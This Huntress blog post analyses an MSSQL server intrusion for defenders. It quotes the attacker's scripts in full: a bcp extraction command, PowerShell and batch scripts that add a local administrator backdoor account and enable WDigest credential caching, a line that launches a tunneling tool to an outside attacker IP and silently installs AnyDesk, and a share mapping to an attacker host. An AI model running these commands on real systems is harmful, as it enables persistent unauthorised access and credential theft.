Don’t let overlooked obligations become incidents. Learn how.
Utility navigation bar redirect icon
Portal LoginSupportContact
Search
Close search
Huntress Logo in Teal
  • Platform Overview
    Managed EDR

    Get full endpoint visibility, detection, and response.

    Managed EDR

    Get full endpoint visibility, detection, and response.

    Managed ITDR

    Protect your Microsoft 365 identities and email environments.

    Managed ITDR

    Protect your Microsoft 365 identities and email environments.

    Managed SIEM

    Managed threat response and robust compliance support at a predictable price.

    Managed SIEM

    Managed threat response and robust compliance support at a predictable price.

    Managed Security Awareness Training

    Empower your teams with science-backed security awareness training.

    Managed Security Awareness Training

    Empower your teams with science-backed security awareness training.

    Managed ISPM

    Continuous Microsoft 365 and identity hardening, managed and enforced by Huntress experts.

    Managed ISPM

    Continuous Microsoft 365 and identity hardening, managed and enforced by Huntress experts.

    Managed ESPM

    Proactively secure endpoints against attacks.

    Managed ESPM

    Proactively secure endpoints against attacks.

    Integrations
    Integrations
    Support Documentation
    Support Documentation
    See Huntress in Action

    Quickly deploy and manage real-time protection for endpoints, email, and employees - all from a single dashboard.

    Huntress Cybersecurity
    See Huntress in Action

    Quickly deploy and manage real-time protection for endpoints, email, and employees - all from a single dashboard.

    Huntress Cybersecurity
  • Threats We Stop
    Phishing
    Phishing
    Business Email Compromise
    Business Email Compromise
    Ransomware
    Ransomware
    Infostealers
    Infostealers
    View Allright arrowView Allright arrow
    Industries We Serve
    Education
    Education
    Financial Services
    Financial Services
    State and Local Government
    State and Local Government
    Healthcare
    Healthcare
    Law Firms
    Law Firms
    Manufacturing
    Manufacturing
    Utilities
    Utilities
    View Allright arrowView Allright arrow
    Tailored Solutions
    MSPs
    MSPs
    Resellers
    Resellers
    SMBs
    SMBs
    Compliance
    Compliance
    What Gets Overlooked Gets Exploited

    Most days, nothing happens. But one day, something will.

    Huntress Cybersecurity
    Cybercriminals Have Evolved

    Get the intel on today’s cybercriminal groups and learn how to protect yourself.

    Huntress Cybersecurity
  • Pricing
  • Community Series
    The Product Lab

    Shape the next big thing in cybersecurity together.

    The Product Lab

    Shape the next big thing in cybersecurity together.

    Fireside Chat

    Real people. Real perspectives. Better conversations.

    Fireside Chat

    Real people. Real perspectives. Better conversations.

    Tradecraft Tuesday

    No products, no pitches – just tradecraft.

    Tradecraft Tuesday

    No products, no pitches – just tradecraft.

    _declassified

    Exposing hidden truths in the world of cybersecurity.

    _declassified

    Exposing hidden truths in the world of cybersecurity.

    Resources
    Upcoming Events
    Upcoming Events
    Ebooks
    Ebooks
    On-Demand Webinars
    On-Demand Webinars
    Videos
    Videos
    Whitepapers
    Whitepapers
    Datasheets
    Datasheets
    Cybersecurity Education
    Cybersecurity 101
    Cybersecurity 101
    Cybersecurity Guides
    Cybersecurity Guides
    Threat Library
    Threat Library
    Real Tradecraft, Real Results
    Real Tradecraft, Real Results
    2026 Cyber Threat Report
    2026 Cyber Threat Report
    The Huntress Blog
    Huntress Lands on the Microsoft Marketplace
    Huntress Cybersecurity
    Huntress Lands on the Microsoft Marketplace
    Huntress Cybersecurity
    How Huntress & DEFCERT Are Streamlining CMMC Assessment Prep
    Huntress Cybersecurity
    How Huntress & DEFCERT Are Streamlining CMMC Assessment Prep
    Huntress Cybersecurity
    Live Hacking Into Microsoft 365 with Kyle Hanslovan
    Huntress Cybersecurity
    Live Hacking Into Microsoft 365 with Kyle Hanslovan
    Huntress Cybersecurity
  • Why Huntress

    Go beyond AI in the fight against today’s hackers with Huntress Managed EDR purpose-built for your needs

    Huntress Cybersecurity
    Why Huntress

    Go beyond AI in the fight against today’s hackers with Huntress Managed EDR purpose-built for your needs

    Huntress Cybersecurity
    The Huntress SOC

    24/7 Security Operations Center

    The Huntress SOC

    24/7 Security Operations Center

    Reviews

    Why businesses of all sizes trust Huntress to defend their assets

    Reviews

    Why businesses of all sizes trust Huntress to defend their assets

    Case Studies

    Learn directly from our partners how Huntress has helped them

    Case Studies

    Learn directly from our partners how Huntress has helped them

    Community

    Get in touch with the Huntress Community team

    Community

    Get in touch with the Huntress Community team

    Compare Huntress
    Bitdefender
    Bitdefender
    Blackpoint
    Blackpoint
    Breach Secure Now!
    Breach Secure Now!
    Crowdstrike
    Crowdstrike
    Datto
    Datto
    SentinelOne
    SentinelOne
    Sophos
    Sophos
    Compare Allright arrowCompare Allright arrow
  • HUNTRESS HUB

    Login to access top-notch marketing resources, tools, and training.

    Huntress Cybersecurity
    HUNTRESS HUB

    Login to access top-notch marketing resources, tools, and training.

    Huntress Cybersecurity
    Partners
    MSPs

    Join our partner community to deliver expert-led managed security.

    MSPs

    Join our partner community to deliver expert-led managed security.

    Resellers

    Partner program designed to grow your cybersecurity business.

    Resellers

    Partner program designed to grow your cybersecurity business.

    Tech Alliances

    Driving innovation through global technology Partnerships

    Tech Alliances

    Driving innovation through global technology Partnerships

    Microsoft Partnership

    A Level-Up for Your Business Security

    Microsoft Partnership

    A Level-Up for Your Business Security

  • Press Release
    Huntress Announces Collaboration with Microsoft to Strengthen Cybersecurity for Businesses of All Sizes
    Huntress Cybersecurity
    Press Release
    Huntress Announces Collaboration with Microsoft to Strengthen Cybersecurity for Businesses of All Sizes
    Huntress Cybersecurity
    Our Story

    We're on a mission to shatter the barriers to enterprise-level security.

    Our Story

    We're on a mission to shatter the barriers to enterprise-level security.

    Newsroom

    Explore press releases, news articles, media interviews and more.

    Newsroom

    Explore press releases, news articles, media interviews and more.

    Meet the Team

    Founded by former NSA Cyber Operators. Backed by security researchers.

    Meet the Team

    Founded by former NSA Cyber Operators. Backed by security researchers.

    Careers

    Ready to shake up the cybersecurity world? Join the hunt.

    Careers

    Ready to shake up the cybersecurity world? Join the hunt.

    Awards
    Awards
    Contact Us
    Contact Us
  • Portal Login
  • Support
  • Contact
  • Search
  • Get a Demo
  • Start for Free
Portal LoginSupportContact
Search
Close search
Get a Demo
Start for Free
HomeBlog
Attacking MSSQL Servers
Published:
February 8, 2024

Attacking MSSQL Servers

By:
Team Huntress
Share icon
Glitch effectGlitch effectGlitch effect

Ever since the SQL Slammer worm of 2003, and even before then, MSSQL database servers exposed to the Internet with default configurations have been targeted, and in many cases, exploited. More recently, Securonix shared a threat research security advisory regarding Turkish hackers targeting MSSQL servers in order to deliver ransomware across the enterprise.

Through the visibility provided by the Huntress agent, SOC analysts "see" the use, or misuse, of MSSQL servers. For example, proactive efforts to identify and report MSSQL servers accessible via the public Internet has revealed significant "brute force" attempts directed toward those servers. The default installation of these servers, without modification, will only log failed login attempts, but there are log entries that will indicate when a threat actor has successfully logged in, such as changing the state of the xp_cmdshell stored procedure, and unusual child processes of the sqlservr.exe process.

Huntress SOC analysts were recently alerted to an incident that was decidedly outside the norm of what’s usually observed when an MSSQL server has been compromised; specifically, the use of the MSSQL native bulk copy command to extract a file from the database, as illustrated in the following command line:

cmd /c bcp "select binaryTable from uGnzBdZbsi" queryout

"C:\users\public\music\<filename>" -T -f

"C:\users\public\music\FODsOZKgAU.txt"

In the observed incident, several files were extracted from the database; two script files (.ps1, .bat), both of which created a user account, a copy of the AnyDesk RMM tool, and another batch (.bat) file to launch a tunneling tool and run AnyDesk. However, in this incident, there was no attempt made to run any of the files visible in EDR telemetry, nor were there impacts of the files being run found within the Windows Event Logs, such as the user account being created. Further, each of the scripts ended in a line that deleted the file itself, and at the time that the incident was being investigated, each of the script files were found within the file system of the endpoint.

Again, there were two script files that each created a user account. The contents of the user.ps1 script file appeared as follows:

Set-ExecutionPolicy RemoteSigned -Scope CurrentUser

$ad = "windows123"

$sifre = ConvertTo-SecureString -String "@@@Win123.." -AsPlainText -Force

$isim = "Windows12"

New-LocalUser -Name $ad -Password $sifre -FullName $isim -Description "Yeni kullanıcı hesabı oluşturuldu."

$grupSID = "S-1-5-32-544"

Add-LocalGroupMember -SID $grupSID -Member $ad

Remove-Item -Path $MyInvocation.MyCommand.Path -Force

Google translates the Turkish phrase “Yeni kullanıcı hesabı oluşturuldu” to “new user account created” in English. Further, the words “sifre” and “isim” also appear to be Turkish, and translate to “password” and “name”, respectively.

The contents of the second script file, user.bat , appeared as follows:

net user windows123 @@@Win123.. /add

net localgroup administrators windows123 /add

net localgroup Administradores windows123 /add

net localgroup Administratoren windows123 /add

net localgroup Administrateurs windows123 /add

net localgroup "Remote Desktop Users" windows123 /add

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\wdigest" /v UseLogonCredential /t REG_DWORD /d 0x00000001

del "%~f0"

A third script file, kur.bat, was intended to launch a tunneling tool and AnyDesk:

c:\users\public\music\4.exe --ip "2.57.149[.]233" --port "3377" --install 

c:\users\public\music\AD.exe --install C:\"Program Files (x86)"\ --silent

net start "Remote Desktop Configuration Manager"

del "%~f0"

Again, there were no indications that any of the files extracted from the database were launched or executed prior to Huntress analysts notifying the customer and taking action to address and remediate the issue. One of the alerts observed by Huntress SOC analysts was a managed AV (MAV) detection and quarantine of the file 4.exe, and the remaining alerts were based on process detections for the use of bcp.exe.

While the tactics, techniques, and procedures (TTPs) observed in this incident differ significantly from those described in the Securonix advisory, it is interesting to note the attack against the MSSQL server, and the use of Turkish words as variable names in the user.ps1 PowerShell file.

In addition, Huntress analysts have identified other incidents over the past several months involving both the 2.57.149.x class C IP address range and MSSQL servers. In mid-December, IP addresses from the same class C range were source IP addresses for failed login attempts to an MSSQL server, and at the end of December, a user account was created on an endpoint running MSSQL server via the following command:

net  user admins8 Dadmin@@@!123 /add

Note the similarity in passwords between the December 2023 and January 2024 incidents. 

In addition, EDR telemetry from the late December incident illustrated that the threat actor was able to map a share, from the endpoint monitored by Huntress to an endpoint they controlled, using the following command:

cmd /c net use s: \\2.57.149[.]230\a /user:user Paz@123wo

Note that the IP address of the threat actor-controlled endpoint is within the same class C range as the one observed in the January incident.

Conclusion

Basic IT hygiene is the foundation of a solid security program, and two of the most important steps are to develop an accurate asset inventory, and then to perform attack surface reduction. An asset inventory consists not just of physical and virtual systems, but also of the applications and services provided by those systems. Organizations need to understand what applications and services they are running, and the risk of exposing those services, with default configurations, to the public Internet. An organization’s attack surface can be significantly reduced by configuring firewalls and routers, and enabling architecture, to ensure that only authorized traffic is permitted to those endpoints. Finally, all endpoints should be subject to a comprehensive monitoring, detection, and response program.

Categories
Threat Analysis
Cybersecurity Education
Summarize this postClose Speech Bubble
ChatGPTClaudePerplexityGoogle AI

See Huntress in action

Our platform combines a suite of powerful managed detection and response tools for endpoints and Microsoft 365 identities, science-backed security awareness training, and the expertise of our 24/7 Security Operations Center (SOC).

Book a Demo
Share
Facebook iconTwitter X iconLinkedin iconDownload icon
Glitch effect

You Might Also Like

  • Attacking MSSQL Servers, Pt. II

    The publication of the first blog post led a Huntress SOC analyst to identify and escalate a second, similar incident. A deeper investigation into the activity made it clear that the Huntress SOC had obviated several Trigona ransomware attacks, protecting customers from the impact of a ransomware infection.
  • Deep Dive: Squashing an MSSQL Attack

    During the previous MSP Moment, we walked our readers through an incident where our partner, NTConnections, used Huntress to discover a previously undetected breach. In this Deep Drive, we’ll examine the tradecraft used by the attackers to gain access through the database, kill/disable antivirus, download malicious files, and establish a persistent foothold within the network.
  • Under the Hard Hat: How Hacked Construction Apps Are Bringing Down Jobsite Security

    Vertical-specific construction applications face unique risks. Hacked apps stem from flaws in the software or its components, expanding the jobsite attack surface.
  • Huntress Threat Advisory: Active Exploitation of SonicWall VPNs

    A likely zero-day vulnerability in SonicWall VPNs is being actively exploited to bypass MFA and deploy ransomware. Huntress advises disabling the VPN service immediately or severely restricting access via IP allow-listing. We're seeing threat actors pivot directly to domain controllers within hours of the initial breach.
  • Gone Phishing: An Analysis of a Targeted User Attack

    Get an inside look at how threat actors use phishing and social engineering tactics to target users and infiltrate organizations.
  • Cracks in the Foundation: Intrusions of FOUNDATION Accounting Software

    Threat actors have been successful in gaining entry using accounting software commonly used by construction companies.
  • Microsoft Exchange Servers Still Vulnerable to ProxyShell Exploit

    Attackers are scanning for vulnerable Microsoft Exchange servers and abusing the latest line of Exchange vulnerabilities that were patched in early 2021.
  • Threat Advisory: Hackers Are Exploiting a Vulnerability in Popular Billing Software to Deploy Ransomware

    Huntress discovered threat actors abusing a blind SQL injection vulnerability in BillQuick Web Suite. Follow our analysis and latest findings in this blog.

Sign Up for Huntress Updates

Get insider access to Huntress tradecraft, killer events, and the freshest blog updates.
Privacy • Terms
By submitting this form, you accept our Terms of Service & Privacy Policy
Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.
Huntress Managed Security PlatformManaged EDRManaged EDR for macOSManaged EDR for LinuxManaged ITDRManaged SIEMManaged Security Awareness TrainingManaged ISPMManaged ESPMBook a Demo
PhishingComplianceBusiness Email CompromiseEducationFinanceHealthcareManufacturingState & Local Government
Managed Service ProvidersResellersIT & Security Teams24/7 SOCCase Studies
BlogResource CenterCybersecurity 101Upcoming EventsSupport Documentation
Our CompanyLeadershipNews & PressCareersContact Us
Huntress white logo

Protecting 215k+ customers like you with enterprise-grade protection.

Privacy PolicyCookie PolicyTerms of UseCookie Consent
Linkedin iconTwitter X iconYouTube iconInstagram icon
© 2025 Huntress All Rights Reserved.

Join the Hunt

Get insider access to Huntress tradecraft, killer events, and the freshest blog updates.

By submitting this form, you accept our Terms of Service & Privacy Policy